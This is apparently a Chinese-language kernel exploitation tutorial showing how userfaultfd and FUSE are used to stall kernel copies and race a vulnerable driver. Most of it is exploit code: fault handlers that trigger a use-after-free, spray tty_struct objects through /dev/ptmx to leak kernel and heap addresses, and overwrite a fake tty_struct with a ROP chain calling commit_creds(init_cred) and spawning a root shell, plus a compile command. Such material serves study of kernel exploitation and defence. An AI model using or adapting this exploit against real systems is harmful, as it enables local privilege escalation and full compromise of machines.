#define _GNU_SOURCE #include <assert.h> #include <fcntl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> void fatal(const char *msg) { perror(msg); exit(1); } static void *fault_handler_thread(void *arg) { char *dummy_page; static struct uffd_msg msg; struct uffdio_copy copy; struct pollfd pollfd; long uffd; static int fault_cnt = 0; uffd = (long)arg; puts("[t][*] mmaping one dummy page"); dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (dummy_page == MAP_FAILED) fatal("mmap(dummy)"); puts("[t][*] waiting for page fault"); pollfd.fd = uffd; pollfd.events = POLLIN; while (poll(&pollfd, 1, -1) > 0) { if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) fatal("poll"); // block until triggered if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)"); assert(msg.event == UFFD_EVENT_PAGEFAULT); puts("[t][+] caught page fault"); printf("[t][+] uffd: flag=0x%llx, addr=0x%llx\n", msg.arg.pagefault.flags, msg.arg.pagefault.address); // craft data and copy puts("[t][*] writing hello world into dummy page"); if (fault_cnt++ == 0) strcpy(dummy_page, "Hello, world! (1)"); else strcpy(dummy_page, "Hello, world! (2)"); puts("[t][*] copying data from dummy page to faulted page"); copy.src = (unsigned long)dummy_page; copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff; copy.len = 0x1000; copy.mode = 0; copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, ©) == -1) fatal("ioctl(UFFDIO_COPY)"); } return NULL; } int register_uffd(void *addr, size_t len) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; long uffd; pthread_t th; puts("[*] registering userfaultfd"); uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) fatal("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl(UFFDIO_API)"); uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("UFFDIO_REGISTER"); puts("[*] spawning a fault handler thread"); if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)) fatal("pthread_create"); return 0; } int main() { void *page; page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) fatal("mmap"); printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page); register_uffd(page, 0x2000); char buf[0x100]; puts("[*] reading from page#1"); strcpy(buf, (char *)(page)); printf("[+] 0x0000: %s\n", buf); puts("[*] reading from page#2"); strcpy(buf, (char *)(page + 0x1000)); printf("[+] 0x1000: %s\n", buf); puts("[*] reading from page#1"); strcpy(buf, (char *)(page)); printf("[+] 0x0000: %s\n", buf); puts("[*] reading from page#2"); strcpy(buf, (char *)(page + 0x1000)); printf("[+] 0x1000: %s\n", buf); getchar(); return 0; }
内核漏洞的利用过程大体可以抽象为一次或多次的用户空间与内核内核空间的数据交换,例如:
- 用户空间从内核中读取数据(基址泄露)
- 用户空间向内核空间写数据(不止 ROP 或 payload)
- 用户空间执行触发漏洞的系统调用
第一步和第二步都会对用户空间的内存进行读或写操作,那么内核对用户空间内存页的第一次读或写操作都将触发缺页异常,在 userfaultfd 的情况下控制流会被劫持到异常处理线程上,此时攻击者就可以有机会在对真正用户空间内存写或读操作发生之前进行一些控制(修改校验、长度等)。
为了保证主线程和子线程在同一CPU上运行,需要借助 sched_setaffinity 来实现控制。
UAF Read
实现条件竞争的流程如下:
首先主线程在用户空间映射一个空白匿名页,然后触发 blob_get,该函数末尾的 copy_to_user 导致缺页异常,然后控制流进入异常处理线程,该线程制造 UAF 并堆喷 tty_struct,这样的话 blob_get 中的 copy_to_user 就可以把 tty_struct 对象内容复制到空白匿名页中,从而实现地址泄露。
但是 copy_to_user 并不会把一个完整的 tty_struct 对象复制到用户空间,因为第一次复制的数据来自 UAF 发生前的正常的 blob 对象,如果讲复制长度设定为较大的值(如 0x400),那么 tty_struct 开头的一些字节就无法被复制到用户空间。为了有效泄露内核基地址和堆地址,需要设定较小的复制长度。
和之前的 payload 相比,需要在 fault_handler_thread 中进行修改:
通过调试发现,在 get 的时候会发现线程切换,到异常处理的线程中进行 del 和堆喷:
UAF Write
同样通过 userfaultfd 机制实现 UAF write:
之前泄露的堆地址不一定是这次 UAF 相关对象的起始地址,所以需要喷射包含了 ROP 链的对象来占据之前泄露的 kheap 位置,保证控制流最终转移到 kheap 处然后执行 ROP。
static void *fault_handler_thread(void *arg) { static struct uffd_msg msg; struct uffdio_copy copy; struct pollfd pollfd; long uffd; static int fault_cnt = 0; puts("[t][*] set cpu affinity"); if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) fatal("sched_setaffinity"); uffd = (long)arg; puts("[t][*] waiting for page fault"); pollfd.fd = uffd; pollfd.events = POLLIN; while (poll(&pollfd, 1, -1) > 0) { if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) fatal("poll"); if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)"); assert(msg.event == UFFD_EVENT_PAGEFAULT); puts("[t][+] caught page fault"); switch (fault_cnt++) { case 0: case 1: { puts("[t][*] UAF read"); del(victim); printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); for (int i = 0; i < SPRAY_NUM; i++) { ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (ptmx[i] == -1) fatal("/dev/ptmx"); } copy.src = (unsigned long)buf; break; } case 2: { puts("[t][*] UAF write"); printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100); for (int i = 0; i < 0x100; i++) add(buf, 0x400); del(victim); printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); for (int i = 0; i < SPRAY_NUM; i++) { ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (ptmx[i] == -1) fatal("/dev/ptmx"); } copy.src = (unsigned long)buf; break; } default: fatal("[t][-] unexpected page fault"); } copy.dst = (unsigned long)msg.arg.pagefault.address; copy.len = 0x1000; copy.mode = 0; copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, ©) == -1) fatal("ioctl(UFFDIO_COPY)"); } return NULL; } ........... puts("[*] crafting fake tty_struct in buf"); memcpy(buf, page + 0x1000, 0x400); unsigned long *tty = (unsigned long *)buf; tty[0] = 0x0000000100005401; // magic tty[2] = *(unsigned long *)(page + 0x10); // dev tty[3] = kheap; // ops tty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctl puts("[*] crafting rop chain"); unsigned long *chain = (unsigned long *)(buf + 0x100); *chain++ = 0xdeadbeef; // pop *chain++ = pop_rdi_ret; *chain++ = init_cred; *chain++ = commit_creds; *chain++ = swapgs_restore_regs_and_return_to_usermode; *chain++ = 0x0; *chain++ = 0x0; *chain++ = (unsigned long)&spawn_shell; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_sp; *chain++ = user_ss; puts("[*] UAF#3 write rop chain"); victim = add(buf, 0x400); set(victim, page + 0x2000, 0x400); puts("[*] invoking ioctl to hijack control flow"); for (int i = 0; i < SPRAY_NUM; i++) ioctl(ptmx[i], 0, kheap + 0x100);
这里在构造 ROP 的时候可以直接用 init_cred 结构体,地址在 prepare_kernel_cred 函数的反汇编结果中就能看到:
old = get_cred(&init_cred);
-
FUSE 利用
FUSE 是一个内核模块,允许用户空间程序通过系统调用接口实现我文件系统。libfuse 实现了用户空间的 API,下面是一个 example 文件:
// gcc fuse.c -o test -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl #define FUSE_USE_VERSION 29 #include <errno.h> #include <fuse.h> #include <stdio.h> #include <string.h> void fatal(const char *msg) { perror(msg); exit(1); } static const char *content = "Hello, World!\n"; static int getattr_callback(const char *path, struct stat *stbuf) { puts("[+] getattr_callback"); memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/file") == 0) { stbuf->st_mode = S_IFREG | 0777; stbuf->st_nlink = 1; stbuf->st_size = strlen(content); return 0; } return -ENOENT; } static int open_callback(const char *path, struct fuse_file_info *fi) { puts("[+] open_callback"); return 0; } static int read_callback(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { puts("[+] read_callback"); if (strcmp(path, "/file") == 0) { size_t len = strlen(content); if (offset >= len) return 0; if ((size > len) || (offset + size > len)) { memcpy(buf, content + offset, len - offset); return len - offset; } else { memcpy(buf, content + offset, size); return size; } } return -ENOENT; } static struct fuse_operations fops = { .getattr = getattr_callback, .open = open_callback, .read = read_callback, }; /* int main(int argc, char *argv[]) { return fuse_main(argc, argv, &fops, NULL); } */ int main() { struct fuse_args args = FUSE_ARGS_INIT(0, NULL); struct fuse_chan *chan; struct fuse *fuse; if (!(chan = fuse_mount("/tmp/test", &args))) fatal("fuse_mount"); if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) { fuse_unmount("/tmp/test", chan); fatal("fuse_new"); } fuse_set_signal_handlers(fuse_get_session(fuse)); fuse_loop_mt(fuse); fuse_unmount("/tmp/test", chan); return 0; }
在漏洞利用上,主要通过 read_callback 接口实现竞争,注意这里的 read 是对文件的 read 而不是对内存页的 read,对于文件的读写操作都是要先 read 进内存页的。
核心 exp:
static int read_callback(const char *path, char *file_buf, size_t size, off_t offset, struct fuse_file_info *fi) { // ... switch (fault_cnt++) { case 0: case 1: puts("[t][*] UAF read"); del(victim); printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); for (int i = 0; i < SPRAY_NUM; i++) { ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (ptmx[i] == -1) fatal("/dev/ptmx"); } return size; case 2: puts("[t][*] UAF write"); printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100); for (int i = 0; i < 0x100; i++) add(buf, 0x400); del(victim); printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); for (int i = 0; i < SPRAY_NUM; i++) { ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (ptmx[i] == -1) fatal("/dev/ptmx"); } memcpy(file_buf, buf, 0x400); return size; // ... }
编译:
gcc exploit.c -o exploit -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
-
参考文献